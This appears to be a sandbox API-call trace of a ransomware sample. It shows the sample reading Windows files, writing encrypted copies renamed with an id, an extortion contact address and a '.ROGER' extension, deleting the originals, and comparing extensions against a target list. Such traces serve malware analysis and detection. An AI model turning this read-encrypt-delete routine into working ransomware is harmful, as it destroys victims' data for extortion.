[0061.765] GetLastError () returned 0x0 [0061.765] ReadFile (in: hFile=0x344, lpBuffer=0x4b80020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x40ffed4, lpOverlapped=0x0 | out: lpBuffer=0x4b80020*, lpNumberOfBytesRead=0x40ffed4*=0x30e8, lpOverlapped=0x0) returned 1 [0061.767] WriteFile (in: hFile=0x3ac, lpBuffer=0x4b80020*, nNumberOfBytesToWrite=0x30f0, lpNumberOfBytesWritten=0x40ffc9c, lpOverlapped=0x0 | out: lpBuffer=0x4b80020*, lpNumberOfBytesWritten=0x40ffc9c*=0x30f0, lpOverlapped=0x0) returned 1 [0061.768] ReadFile (in: hFile=0x344, lpBuffer=0x4b80020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x40ffed4, lpOverlapped=0x0 | out: lpBuffer=0x4b80020*, lpNumberOfBytesRead=0x40ffed4*=0x0, lpOverlapped=0x0) returned 1 [0061.768] WriteFile (in: hFile=0x3ac, lpBuffer=0x4b80020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x40ffc9c, lpOverlapped=0x0 | out: lpBuffer=0x4b80020*, lpNumberOfBytesWritten=0x40ffc9c*=0xec, lpOverlapped=0x0) returned 1 [0061.768] SetEndOfFile (hFile=0x3ac) returned 1 [0061.768] CloseHandle (hObject=0x3ac) returned 1 [0061.768] SetFilePointerEx (in: hFile=0x344, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x40ffec8 | out: lpNewFilePointer=0x0) returned 1 [0061.768] SetEndOfFile (hFile=0x344) returned 1 [0061.775] CloseHandle (hObject=0x344) returned 1 [0061.775] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00008_.WMF.id-9C354B42.[admin@spacedatas.com].ROGER", dwFileAttributes=0x20) returned 1 [0061.775] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00008_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00008_.wmf")) returned 1 [0061.775] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00008_.WMF") returned 63 [0061.775] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00008_.WMF") returned 63 [0061.775] lstrlenW (lpString=".doc") returned 4 [0061.775] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0061.775] lstrlenW (lpString=".docx") returned 5 [0061.776] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0061.776] lstrlenW (lpString=".pdf") returned 4 [0061.776] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0061.776] lstrlenW (lpString=".xls") returned 4 [0061.776] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0061.776] lstrlenW (lpString=".xlsx") returned 5 [0061.776] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0061.776] lstrlenW (lpString=".ppt") returned 4 [0061.776] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0061.776] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00008_.WMF") returned 63 [0061.776] lstrlenW (lpString=".zip") returned 4 [0061.776] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0061.776] lstrlenW (lpString=".rar") returned 4 [0061.776] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0061.776] lstrlenW (lpString=".bz2") returned 4 [0061.776] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0061.776] lstrlenW (lpString=".7z") returned 3 [0061.776] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0061.776] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00008_.WMF") returned 63 [0061.776] lstrlenW (lpString=".dbf") returned 4 [0061.776] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0061.776] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00008_.WMF") returned 63 [0061.776] lstrlenW (lpString=".1cd") returned 4 [0061.776] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0061.776] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00008_.WMF") returned 63 [0061.776] lstrlenW (lpString=".jpg") returned 4 [0061.776] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0061.776] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00008_.WMF") returned 63 [0061.776] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00008_.WMF") returned 63 [0061.776] lstrlenW (lpString=".doc") returned 4 [0061.776] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0061.776] lstrlenW (lpString=".docx") returned 5 [0061.776] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0061.776] lstrlenW (lpString=".pdf") returned 4 [0061.777] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0061.777] lstrlenW (lpString=".xls") returned 4 [0061.777] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0061.777] lstrlenW (lpString=".xlsx") returned 5 [0061.777] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0061.777] lstrlenW (lpString=".ppt") returned 4 [0061.777] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0061.777] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00008_.WMF") returned 63 [0061.777] lstrlenW (lpString=".zip") returned 4 [0061.777] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0061.777] lstrlenW (lpString=".rar") returned 4 [0061.777] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0061.777] lstrlenW (lpString=".bz2") returned 4 [0061.777] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0061.777] lstrlenW (lpString=".7z") returned 3 [0061.777] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0061.777] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00008_.WMF") returned 63 [0061.777] lstrlenW (lpString=".dbf") returned 4 [0061.777] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0061.777] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00008_.WMF") returned 63 [0061.777] lstrlenW (lpString=".1cd") returned 4 [0061.777] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0061.777] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00008_.WMF") returned 63 [0061.777] lstrlenW (lpString=".jpg") returned 4 [0061.777] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0061.777] lstrcmpiW (lpString1=".WMF", lpString2=".ROGER") returned 1 [0061.777] lstrlenW (lpString="BL00012_.WMF") returned 12 [0061.777] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00012_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00012_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x344 [0061.779] GetFileSizeEx (in: hFile=0x344, lpFileSize=0x40fff1c | out: lpFileSize=0x40fff1c*=9818) returned 1 [0061.779] CloseHandle (hObject=0x344) returned 1 [0061.779] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00012_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00012_.wmf")) returned 0x20 [0061.779] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00012_.WMF.id-9C354B42.[admin@spacedatas.com].ROGER" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00012_.wmf.id-9c354b42.[admin@spacedatas.com].roger")) returned 0xffffffff [0061.779] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00012_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00012_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x344 [0061.779] SetFilePointerEx (in: hFile=0x344, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x40ffec8 | out: lpNewFilePointer=0x0) returned 1 [0061.779] SetFilePointerEx (in: hFile=0x344, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x40ffec8 | out: lpNewFilePointer=0x0) returned 1 [0061.779] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00012_.WMF.id-9C354B42.[admin@spacedatas.com].ROGER" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00012_.wmf.id-9c354b42.[admin@spacedatas.com].roger"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3ac [0061.779] GetLastError () returned 0x0 [0061.779] ReadFile (in: hFile=0x344, lpBuffer=0x4b80020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x40ffed4, lpOverlapped=0x0 | out: lpBuffer=0x4b80020*, lpNumberOfBytesRead=0x40ffed4*=0x265a, lpOverlapped=0x0) returned 1 [0062.003] WriteFile (in: hFile=0x3ac, lpBuffer=0x4b80020*, nNumberOfBytesToWrite=0x2660, lpNumberOfBytesWritten=0x40ffc9c, lpOverlapped=0x0 | out: lpBuffer=0x4b80020*, lpNumberOfBytesWritten=0x40ffc9c*=0x2660, lpOverlapped=0x0) returned 1 [0062.013] ReadFile (in: hFile=0x344, lpBuffer=0x4b80020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x40ffed4, lpOverlapped=0x0 | out: lpBuffer=0x4b80020*, lpNumberOfBytesRead=0x40ffed4*=0x0, lpOverlapped=0x0) returned 1 [0062.013] WriteFile (in: hFile=0x3ac, lpBuffer=0x4b80020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x40ffc9c, lpOverlapped=0x0 | out: lpBuffer=0x4b80020*, lpNumberOfBytesWritten=0x40ffc9c*=0xec, lpOverlapped=0x0) returned 1 [0062.013] SetEndOfFile (hFile=0x3ac) returned 1 [0062.013] CloseHandle (hObject=0x3ac) returned 1 [0062.013] SetFilePointerEx (in: hFile=0x344, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x40ffec8 | out: lpNewFilePointer=0x0) returned 1 [0062.013] SetEndOfFile (hFile=0x344) returned 1 [0062.014] CloseHandle (hObject=0x344) returned 1 [0062.014] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00012_.WMF.id-9C354B42.[admin@spacedatas.com].ROGER", dwFileAttributes=0x20) returned 1 [0062.014] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00012_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00012_.wmf")) returned 1 [0062.014] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00012_.WMF") returned 63 [0062.014] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00012_.WMF") returned 63 [0062.014] lstrlenW (lpString=".doc") returned 4 [0062.014] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0062.014] lstrlenW (lpString=".docx") returned 5 [0062.014] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0062.014] lstrlenW (lpString=".pdf") returned 4 [0062.014] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0062.015] lstrlenW (lpString=".xls") returned 4 [0062.015] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0062.015] lstrlenW (lpString=".xlsx") returned 5 [0062.015] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0062.015] lstrlenW (lpString=".ppt") returned 4 [0062.015] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0062.015] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00012_.WMF") returned 63 [0062.015] lstrlenW (lpString=".zip") returned 4 [0062.015] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0062.015] lstrlenW (lpString=".rar") returned 4 [0062.015] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0062.015] lstrlenW (lpString=".bz2") returned 4 [0062.015] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0062.015] lstrlenW (lpString=".7z") returned 3 [0062.015] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0062.015] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00012_.WMF") returned 63 [0062.015] lstrlenW (lpString=".dbf") returned 4 [0062.015] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0062.015] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00012_.WMF") returned 63 [0062.015] lstrlenW (lpString=".1cd") returned 4 [0062.015] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0062.015] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00012_.WMF") returned 63 [0062.015] lstrlenW (lpString=".jpg") returned 4 [0062.015] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0062.015] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00012_.WMF") returned 63 [0062.015] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00012_.WMF") returned 63 [0062.015] lstrlenW (lpString=".doc") returned 4 [0062.015] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0062.015] lstrlenW (lpString=".docx") returned 5 [0062.015] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0062.015] lstrlenW (lpString=".pdf") returned 4 [0062.015] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0062.015] lstrlenW (lpString=".xls") returned 4 [0062.015] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0062.015] lstrlenW (lpString=".xlsx") returned 5 [0062.016] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0062.016] lstrlenW (lpString=".ppt") returned 4 [0062.016] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0062.016] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00012_.WMF") returned 63 [0062.016] lstrlenW (lpString=".zip") returned 4 [0062.016] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0062.016] lstrlenW (lpString=".rar") returned 4 [0062.016] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0062.016] lstrlenW (lpString=".bz2") returned 4 [0062.016] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0062.016] lstrlenW (lpString=".7z") returned 3 [0062.016] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0062.016] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00012_.WMF") returned 63 [0062.016] lstrlenW (lpString=".dbf") returned 4 [0062.016] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0062.016] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00012_.WMF") returned 63 [0062.016] lstrlenW (lpString=".1cd") returned 4 [0062.016] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0062.016] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00012_.WMF") returned 63 [0062.016] lstrlenW (lpString=".jpg") returned 4 [0062.016] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0062.016] lstrcmpiW (lpString1=".WMF", lpString2=".ROGER") returned 1 [0062.016] lstrlenW (lpString="BL00262_.WMF") returned 12 [0062.016] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00262_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00262_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) Thread: id = 18 os_tid = 0xaa4 [0036.995] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0x10000) returned 0x3342fe0 [0036.995] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0x10000) returned 0x3352fe8 [0036.996] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0x10) returned 0x32955e8 [0036.996] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0x6) returned 0x32a2300 [0036.996] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0x10) returned 0x3295600 [0036.996] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0x100000) returned 0x4c90020 [0036.996] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0x10) returned 0x3295618 [0036.996] RtlReAllocateHeap (Heap=0x790000, Flags=0x0, Ptr=0x3295618, Size=0x20) returned 0x8069c8 [0036.996] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0x10) returned 0x3295618 [0036.996] RtlReAllocateHeap (Heap=0x790000, Flags=0x0, Ptr=0x3295618, Size=0x20) returned 0x806a18 [0036.996] GetModuleHandleW (lpModuleName="kernel32.dll") returned 0x76c20000 [0036.997] GetProcAddress (hModule=0x76c20000, lpProcName="Wow64DisableWow64FsRedirection") returned 0x76c4d650 [0036.997] Wow64DisableWow64FsRedirection (in: OldValue=0x423ff58 | out: OldValue=0x423ff58*=0x0) returned 1 [0036.997] lstrlenW (lpString="kernel32.dll") returned 12 [0036.997] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x8069c8 | out: hHeap=0x790000) returned 1 [0036.997] lstrlenA (lpString="Wow64DisableWow64FsRedirection") returned 30 [0036.997] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x806a18 | out: hHeap=0x790000) returned 1 [0036.997] Sleep (dwMilliseconds=0x64) [0037.211] lstrcmpiW (lpString1=".ttf", lpString2=".ROGER") returned 1 [0037.211] lstrlenW (lpString="kor_boot.ttf") returned 12 [0037.211] CreateFileW (lpFileName="C:\\Boot\\Fonts\\kor_boot.ttf" (normalized: "c:\\boot\\fonts\\kor_boot.ttf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x370 [0037.423] GetFileSizeEx (in: hFile=0x370, lpFileSize=0x423ff1c | out: lpFileSize=0x423ff1c*=2371360) returned 1 [0037.423] CloseHandle (hObject=0x370) returned 1 [0037.423] GetFileAttributesW (lpFileName="C:\\Boot\\Fonts\\kor_boot.ttf" (normalized: "c:\\boot\\fonts\\kor_boot.ttf")) returned 0x20 [0037.423] GetFileAttributesW (lpFileName="C:\\Boot\\Fonts\\kor_boot.ttf.id-9C354B42.[admin@spacedatas.com].ROGER" (normalized: "c:\\boot\\fonts\\kor_boot.ttf.id-9c354b42.[admin@spacedatas.com].roger")) returned 0xffffffff [0037.423] MoveFileW (lpExistingFileName="C:\\Boot\\Fonts\\kor_boot.ttf" (normalized: "c:\\boot\\fonts\\kor_boot.ttf"), lpNewFileName="C:\\Boot\\Fonts\\kor_boot.ttf.id-9C354B42.[admin@spacedatas.com].ROGER" (normalized: "c:\\boot\\fonts\\kor_boot.ttf.id-9c354b42.[admin@spacedatas.com].roger")) returned 0 [0037.424] lstrlenW (lpString="C:\\Boot\\Fonts\\kor_boot.ttf") returned 26 [0037.424] lstrlenW (lpString="C:\\Boot\\Fonts\\kor_boot.ttf") returned 26 [0037.424] lstrlenW (lpString=".doc") returned 4 [0037.424] lstrcmpiW (lpString1=".doc", lpString2=".ttf") returned -1 [0037.424] lstrlenW (lpString=".docx") returned 5 [0037.424] lstrcmpiW (lpString1=".docx", lpString2="t.ttf") returned -1 [0037.424] lstrlenW (lpString=".pdf") returned 4 [0037.424] lstrcmpiW (lpString1=".pdf", lpString2=".ttf") returned -1 [0037.424] lstrlenW (lpString=".xls") returned 4 [0037.424] lstrcmpiW (lpString1=".xls", lpString2=".ttf") returned 1 [0037.424] lstrlenW (lpString=".xlsx") returned 5 [0037.424] lstrcmpiW (lpString1=".xlsx", lpString2="t.ttf") returned -1 [0037.424] lstrlenW (lpString=".ppt") returned 4 [0037.424] lstrcmpiW (lpString1=".ppt", lpString2=".ttf") returned -1 [0037.424] lstrlenW (lpString="C:\\Boot\\Fonts\\kor_boot.ttf") returned 26 [0037.424] lstrlenW (lpString=".zip") returned 4 [0037.424] lstrcmpiW (lpString1=".zip", lpString2=".ttf") returned 1 [0037.424] lstrlenW (lpString=".rar") returned 4 [0037.424] lstrcmpiW (lpString1=".rar", lpString2=".ttf") returned -1 [0037.424] lstrlenW (lpString=".bz2") returned 4 [0037.424] lstrcmpiW (lpString1=".bz2", lpString2=".ttf") returned -1 [0037.424] lstrlenW (lpString=".7z") returned 3 [0037.424] lstrcmpiW (lpString1=".7z", lpString2="ttf") returned -1 [0037.424] lstrlenW (lpString="C:\\Boot\\Fonts\\kor_boot.ttf") returned 26 [0037.424] lstrlenW (lpString=".dbf") returned 4 [0037.424] lstrcmpiW (lpString1=".dbf", lpString2=".ttf") returned -1 [0037.424] lstrlenW (lpString="C:\\Boot\\Fonts\\kor_boot.ttf") returned 26 [0037.424] lstrlenW (lpString=".1cd") returned 4 [0037.424] lstrcmpiW (lpString1=".1cd", lpString2=".ttf") returned -1 [0037.424] lstrlenW (lpString="C:\\Boot\\Fonts\\kor_boot.ttf") returned 26 [0037.424] lstrlenW (lpString=".jpg") returned 4 [0037.424] lstrcmpiW (lpString1=".jpg", lpString2=".ttf") returned -1 [0037.425] lstrlenW (lpString="C:\\Boot\\Fonts\\kor_boot.ttf") returned 26 [0037.425] lstrlenW (lpString="C:\\Boot\\Fonts\\kor_boot.ttf") returned 26 [0037.425] lstrlenW (lpString=".doc") returned 4 [0037.425] lstrcmpiW (lpString1=".doc", lpString2=".ttf") returned -1 [0037.425] lstrlenW (lpString=".docx") returned 5 [0037.425] lstrcmpiW (lpString1=".docx", lpString2="t.ttf") returned -1 [0037.425] lstrlenW (lpString=".pdf") returned 4 [0037.425] lstrcmpiW (lpString1=".pdf", lpString2=".ttf") returned -1 [0037.425] lstrlenW (lpString=".xls") returned 4 [0037.425] lstrcmpiW (lpString1=".xls", lpString2=".ttf") returned 1 [0037.425] lstrlenW (lpString=".xlsx") returned 5 [0037.425] lstrcmpiW (lpString1=".xlsx", lpString2="t.ttf") returned -1 [0037.425] lstrlenW (lpString=".ppt") returned 4 [0037.425] lstrcmpiW (lpString1=".ppt", lpString2=".ttf") returned -1 [0037.425] lstrlenW (lpString="C:\\Boot\\Fonts\\kor_boot.ttf") returned 26 [0037.425] lstrlenW (lpString=".zip") returned 4 [0037.425] lstrcmpiW (lpString1=".zip", lpString2=".ttf") returned 1 [0037.425] lstrlenW (lpString=".rar") returned 4 [0037.425] lstrcmpiW (lpString1=".rar", lpString2=".ttf") returned -1 [0037.425] lstrlenW (lpString=".bz2") returned 4 [0037.425] lstrcmpiW (lpString1=".bz2", lpString2=".ttf") returned -1 [0037.425] lstrlenW (lpString=".7z") returned 3 [0037.425] lstrcmpiW (lpString1=".7z", lpString2="ttf") returned -1 [0037.425] lstrlenW (lpString="C:\\Boot\\Fonts\\kor_boot.ttf") returned 26 [0037.425] lstrlenW (lpString=".dbf") returned 4 [0037.425] lstrcmpiW (lpString1=".dbf", lpString2=".ttf") returned -1 [0037.425] lstrlenW (lpString="C:\\Boot\\Fonts\\kor_boot.ttf") returned 26 [0037.425] lstrlenW (lpString=".1cd") returned 4 [0037.425] lstrcmpiW (lpString1=".1cd", lpString2=".ttf") returned -1 [0037.425] lstrlenW (lpString="C:\\Boot\\Fonts\\kor_boot.ttf") returned 26 [0037.425] lstrlenW (lpString=".jpg") returned 4 [0037.425] lstrcmpiW (lpString1=".jpg", lpString2=".ttf") returned -1 [0037.426] lstrcmpiW (lpString1=".mui", lpString2=".ROGER") returned -1 [0037.426] lstrlenW (lpString="bootmgr.exe.mui") returned 15 [0037.426] CreateFileW (lpFileName="C:\\Boot\\fr-FR\\bootmgr.exe.mui" (normalized: "c:\\boot\\fr-fr\\bootmgr.exe.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x370 [0037.426] GetFileSizeEx (in: hFile=0x370, lpFileSize=0x423ff1c | out: lpFileSize=0x423ff1c*=93248) returned 1 [0037.426] CloseHandle (hObject=0x370) returned 1 [0037.426] GetFileAttributesW (lpFileName="C:\\Boot\\fr-FR\\bootmgr.exe.mui" (normalized: "c:\\boot\\fr-fr\\bootmgr.exe.mui")) returned 0x20 [0037.426] GetFileAttributesW (lpFileName="C:\\Boot\\fr-FR\\bootmgr.exe.mui.id-9C354B42.[admin@spacedatas.com].ROGER" (normalized: "c:\\boot\\fr-fr\\bootmgr.exe.mui.id-9c354b42.[admin@spacedatas.com].roger")) returned 0xffffffff [0037.426] CreateFileW (lpFileName="C:\\Boot\\fr-FR\\bootmgr.exe.mui" (normalized: "c:\\boot\\fr-fr\\bootmgr.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0037.426] lstrlenW (lpString="C:\\Boot\\fr-FR\\bootmgr.exe.mui") returned 29 [0037.426] lstrlenW (lpString="C:\\Boot\\fr-FR\\bootmgr.exe.mui") returned 29 [0037.426] lstrlenW (lpString=".doc") returned 4 [0037.426] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1 [0037.426] lstrlenW (lpString=".docx") returned 5 [0037.426] lstrcmpiW (lpString1=".docx", lpString2="e.mui") returned -1 [0037.426] lstrlenW (lpString=".pdf") returned 4 [0037.426] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1 [0037.426] lstrlenW (lpString=".xls") returned 4 [0037.426] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1 [0037.426] lstrlenW (lpString=".xlsx") returned 5 [0037.426] lstrcmpiW (lpString1=".xlsx", lpString2="e.mui") returned -1 [0037.426] lstrlenW (lpString=".ppt") returned 4 [0037.427] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1 [0037.427] lstrlenW (lpString="C:\\Boot\\fr-FR\\bootmgr.exe.mui") returned 29 [0037.427] lstrlenW (lpString=".zip") returned 4 [0037.427] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1 [0037.427] lstrlenW (lpString=".rar") returned 4 [0037.427] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1 [0037.427] lstrlenW (lpString=".bz2") returned 4 [0037.427] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1 [0037.427] lstrlenW (lpString=".7z") returned 3 [0037.427] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1 [0037.427] lstrlenW (lpString="C:\\Boot\\fr-FR\\bootmgr.exe.mui") returned 29 [0037.427] lstrlenW (lpString=".dbf") returned 4 [0037.427] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1 [0037.427] lstrlenW (lpString="C:\\Boot\\fr-FR\\bootmgr.exe.mui") returned 29 [0037.427] lstrlenW (lpString=".1cd") returned 4 [0037.427] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1 [0037.427] lstrlenW (lpString="C:\\Boot\\fr-FR\\bootmgr.exe.mui") returned 29 [0037.427] lstrlenW (lpString=".jpg") returned 4 [0037.427] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1 [0037.427] lstrlenW (lpString="C:\\Boot\\fr-FR\\bootmgr.exe.mui") returned 29 [0037.427] lstrlenW (lpString="C:\\Boot\\fr-FR\\bootmgr.exe.mui") returned 29 [0037.427] lstrlenW (lpString=".doc") returned 4 [0037.427] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1 [0037.427] lstrlenW (lpString=".docx") returned 5 [0037.427] lstrcmpiW (lpString1=".docx", lpString2="e.mui") returned -1 [0037.427] lstrlenW (lpString=".pdf") returned 4 [0037.427] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1 [0037.427] lstrlenW (lpString=".xls") returned 4 [0037.427] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1 [0037.427] lstrlenW (lpString=".xlsx") returned 5 [0037.427] lstrcmpiW (lpString1=".xlsx", 